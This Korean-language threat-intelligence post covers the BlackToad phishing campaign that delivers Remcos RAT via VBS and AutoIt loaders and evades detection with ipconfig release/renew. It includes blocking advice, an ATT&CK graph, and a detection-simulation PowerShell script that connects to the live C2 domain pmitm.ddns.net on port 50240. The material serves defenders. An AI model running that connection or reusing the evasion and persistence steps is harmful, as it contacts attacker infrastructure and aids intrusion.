SOC Prime Bias: 중간

27 May 2026 15:51 UTC

BlackToad, AutoIt 페이로드에서 네트워크 조작 사용

Author Photo
SOC Prime Team linkedin icon 팔로우
BlackToad, AutoIt 페이로드에서 네트워크 조작 사용
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

JUMPSEC은 맞춤형 AutoIt 크립터에 숨겨진 Remcos RAT 페이로드를 전달하는 피싱 캠페인을 발견했습니다. 감염 체인은 VBS 스크립트를 사용하여 실행됩니다. ipconfig /release 후에 ipconfig /renew를 사용하여 탐지를 피하기 위해 네트워크 연결을 일시적으로 방해합니다. 연구원들은 이 캠페인이 나이지리아 전자 범죄 생태계와 관련이 있으며, 인프라는 모바일 ISP 연결 뒤에 호스팅되는 동적 DNS 도메인에 의존하고 있음을 밝혔습니다.

조사

조사는 악성 이메일을 추적하고, 포함된 WinRAR 자기 추출 아카이브를 해제했으며, 위장된 AutoIt 인터프리터를 시작하는 VBS 로더를 식별했습니다. AutoIt 스크립트는 Remcos 임플란트를 복호화하고 실행했으며, 복구된 구성에서는 명령 및 제어 도메인, 뮤텍스 값, 지속성 레지스트리 실행 키가 드러났습니다. 연구원들은 지원 인프라를 세 개의 동적 DNS 도메인과 순환 설정된 나이지리아 IP 주소에 매핑했습니다.

차단

조직은 식별된 동적 DNS 도메인 및 관련 IP 범위를 차단하고, 의심스러운 ipconfig /release and ipconfig /renew 순서를 모니터링하고 AutoIt 또는 VBS 스크립트가 cmd.exe를 생성하는지 탐지해야 합니다. 오도하는 이중 확장자를 사용하는 파일에 대해 강력한 실행 통제를 적용해야 하며, WindowsUpdate 와 같은 레지스트리 실행 항목의 남용을 모니터링해야 합니다.

대응

이 활동이 감지되면, 감염된 엔드포인트를 즉시 격리하고, Remcos 프로세스를 종료하고, 지속성에 사용된 악성 실행 키를 제거하며, 자격 증명 도난 또는 후속 활동에 대한 전체적인 포렌식 검토를 수행해야 합니다. 탐지 콘텐츠 또한 네트워크 블랙아웃 기법과 캠페인에 연결된 특정 파일명 패턴을 식별하도록 업데이트해야 합니다.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef data fill:#ccffcc %% 노드 email_phishing[“<b>행동</b> – <b>T1204.001 사용자 실행: 악성 링크</b><br/>피해자는 악성 MediaFire 링크가 포함된 이미지가 첨부된 이메일을 수신한다.”] class email_phishing action download_payload[“<b>행동</b> – <b>T1566.001 피싱: 스피어피싱 첨부파일</b><br/>피해자는 .pdf.scr로 위장된 WinRAR SFX 실행 파일을 다운로드한다.”] class download_payload action file_double_ext[“<b>행동</b> – <b>T1036.007 위장: 이중 파일 확장자</b><br/><i>invoice.pdf.scr</i> 파일은 .scr 실행 파일을 숨긴다.”] class file_double_ext action script_vbs[“<b>행동</b> – <b>T1059.005 명령 및 스크립트 인터프리터: Visual Basic</b><br/>VBS 스크립트(flvs.vbe)가 cmd.exe 문자열을 생성하고 명령을 실행한다.”] class script_vbs action tool_autoi[“<b>도구</b> – <b>이름</b>: AutoIt 인터프리터 (.xls로 이름 변경)<br/><b>목적</b>: 악성 AutoIt 스크립트를 실행한다.”] class tool_autoi tool script_autoi_obf[“<b>행동</b> – <b>T1059.010 명령 및 스크립트 인터프리터: AutoIt/AutoHotKey</b><br/>강하게 난독화된 AutoIt 스크립트가 실행된다.”] class script_autoi_obf action obfusc_junk[“<b>행동</b> – <b>T1027.016 난독화된 파일 또는 정보: 정크 코드 삽입</b><br/>스크립트에는 88MB의 의미 없는 주석 블록이 포함되어 있다.”] class obfusc_junk action obfusc_stripped[“<b>행동</b> – <b>T1027.008 난독화된 파일 또는 정보: 스트립된 페이로드</b><br/>페이로드는 사용자 지정 16진 인코딩과 함께 대용량 더미 데이터 내부에 패킹되어 있다.”] class obfusc_stripped action malware_remcos[“<b>멀웨어</b> – <b>이름</b>: Remcos RAT<br/><b>기능</b>: 원격 접근 및 제어.”] class malware_remcos malware c2_dns[“<b>행동</b> – <b>T1071.004 애플리케이션 계층 프로토콜: DNS</b><br/>암호화된 TLS를 통해 Dynamic DNS 호스트명을 사용하여 C2 서버와 통신한다.”] class c2_dns action persistence_autostart[“<b>행동</b> – <b>T1547.014 부팅 또는 로그온 자동 시작 실행: Active Setup</b><br/>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate 레지스트리 키를 생성한다.”] class persistence_autostart action trusted_util[“<b>행동</b> – <b>T1127 신뢰된 개발자 유틸리티 프록시 실행</b><br/>정상 AutoIt 인터프리터를 신뢰된 유틸리티로 사용하여 악성 코드를 실행한다.”] class trusted_util action deobfuscation[“<b>행동</b> – <b>T1140 파일 또는 정보 디코딩/난독화 해제</b><br/>연구원들은 사용자 지정 16진 인코딩된 PE와 RC4로 암호화된 Remcos 설정을 복호화한다.”] class deobfuscation action %% 연결 email_phishing –>|이어짐| download_payload download_payload –>|포함| file_double_ext file_double_ext –>|트리거| script_vbs script_vbs –>|로드| tool_autoi tool_autoi –>|실행| script_autoi_obf script_autoi_obf –>|포함| obfusc_junk script_autoi_obf –>|포함| obfusc_stripped script_autoi_obf –>|실행| malware_remcos malware_remcos –>|사용| c2_dns malware_remcos –>|구축| persistence_autostart tool_autoi –>|사용됨| trusted_util obfusc_junk –>|지원| deobfuscation obfusc_stripped –>|지원| deobfuscation

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry 및 Baseline Pre‑flight Check가 통과되어야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 대 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 서사는 식별된 TTP를 직접적으로 반영해야 하며 탐지 논리에서 예상되는 정확한 원시 데이터를 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어질 것입니다.

  • 공격 서사 및 명령:

    1. 목적: 하드코딩된 포트 50240에서 알려진 악성 DDNS 도메인 중 하나를 사용하여 BlackToad Remcos 임플란트와 C2 채널을 구축합니다.
    2. 단계별:
      • 선택한 악성 DDNS 도메인 (pmitm.ddns.net).
      • 의 IP를 해석합니다.
      • 해석된 IP로 포트 50240에 TCP 소켓을 엽니다.
      • 임플란트의 초기 핸드쉐이크를 모방하기 위해 최소 “하트비트” 페이로드를 전송합니다.
    3. 아웃바운드 연결이 방화벽에 기록되도록 30초 동안 소켓을 열어둡니다. 목록 및 의 기준을 정확히 만족하여 탐지 가능한 방화벽 이벤트를 발생시킵니다. 대상 포트 기준.
  • 회귀 테스트 스크립트:

     # BlackToad C2 통신 시뮬레이션 (PowerShell)
      $c2Domain = "pmitm.ddns.net"      # 규칙에 나열된 도메인 중 하나
      $c2Port   = 50240
    
      try {
          # 도메인을 IP로 해석 (DNS 쿼리 원시 데이터 추가)
          $ip = [System.Net.Dns]::GetHostAddresses($c2Domain) |
                Where-Object { $_.AddressFamily -eq 'InterNetwork' } |
                Select-Object -First 1
    
          if (-not $ip) { throw "Unable to resolve $c2Domain" }
    
          Write-Host "Resolved $c2Domain to $($ip.IPAddressToString). Connecting..."
    
          # TCP 연결 열기 (방화벽 아웃바운드 로그 생성)
          $client = New-Object System.Net.Sockets.TcpClient
          $client.Connect($ip, $c2Port)
    
          # 간단한 하트비트 전송 (hex 0x01)
          $stream = $client.GetStream()
          $payload = [byte[]](0x01)
          $stream.Write($payload, 0, $payload.Length)
    
          Write-Host "Heartbeat sent. Keeping connection alive for 30 seconds..."
          Start-Sleep -Seconds 30
    
          $stream.Close()
          $client.Close()
          Write-Host "Connection closed cleanly."
      }
      catch {
          Write-Error "Simulation failed: $_"
      }
  • 정리 명령:

     # 남아 있는 모든 소켓이 닫혀 있는지 확인
      Get-NetTCPConnection -RemotePort 50240 -State Established |
          ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
      # 선택 사항: 해석된 DDNS 항목을 제거하려면 DNS 캐시를 플러시
      ipconfig /flushdns
      Write-Host "정리 완료."